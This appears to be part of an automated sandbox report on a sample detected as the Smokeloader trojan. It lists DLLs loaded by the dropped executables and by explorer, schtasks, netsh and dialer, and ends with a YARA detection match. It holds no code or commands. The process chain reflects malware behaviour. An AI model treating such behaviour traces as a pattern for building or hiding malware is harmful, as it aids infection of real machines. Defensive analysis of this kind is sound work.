Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: tapi32.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll

Source: e7CLP6462y.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
